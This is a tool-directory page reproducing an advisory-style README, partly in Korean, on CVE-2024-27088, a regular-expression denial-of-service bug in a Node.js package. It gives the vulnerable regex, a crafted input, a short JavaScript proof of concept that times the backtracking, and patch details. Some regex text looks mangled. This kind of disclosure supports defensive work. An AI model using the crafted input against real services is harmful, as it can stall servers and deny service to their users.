Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-27088 — redos | Kitploit
Tools/GitHubGitHub/200101whoami/cve-2024-27088
Static AnalysisVulnerability AnalysisCode AnalysisPapers & ResearchLearning & Education
GitHub200101whoami/cve-2024-27088

CVE-2024-27088

redos

View Repository
102 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-27088

취약점 개요

  • CVE-2024-27088

  • Feb 26, 2024

  • ReDoS in node.js package

  • rebob 프로젝트의 일환

취약점 설명

github advisories

/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

'function{' + 'n'.repeat(31) + '){'

Here is a simple PoC code to demonstrate the issue:

const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;

const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

Impact

Passing functions with very long names or complex default argument names into function#copy orfunction#toStringTokens may put script to stall

Patches Fixed with 3551cdd and a52e957 Published with v0.10.63

Workarounds No real workaround aside of refraining from using above utilities.

issue target package

Download Tool